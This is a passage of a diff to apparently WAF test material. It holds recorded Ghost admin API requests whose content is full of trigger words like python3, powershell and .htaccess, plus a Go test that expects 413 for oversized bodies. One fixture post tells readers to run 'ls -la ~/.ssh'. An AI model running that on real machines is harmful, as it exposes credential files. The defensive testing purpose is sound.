.htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
@@ -778,7 +776,7 @@
|
|||||||
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
|
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
|
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
|
||||||
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
|
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
|
||||||
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 699", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/python3/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 & powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 & powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
|
||||||
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
|
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
|
||||||
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
|||||||
@@ -93,15 +93,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
// The visitor sends no Connection: close, so Go's server reads the rest
|
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||||
// of the body before it closes the connection. Closed with the rest
|
bytes.NewReader(make([]byte, tc.size))))
|
||||||
// unread, the connection is reset while the visitor still sends.
|
if got.status != http.StatusRequestEntityTooLarge {
|
||||||
conn := dial(t, addr)
|
t.Errorf("answered %+v, want 413", got)
|
||||||
send(t, conn, post+announcedLength(tc.size)+
|
|
||||||
strings.Repeat("x", tc.size))
|
|
||||||
|
|
||||||
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
|
||||||
t.Errorf("status %d, want 413", status)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
||||||
|
|||||||
Reference in new issue
Block a user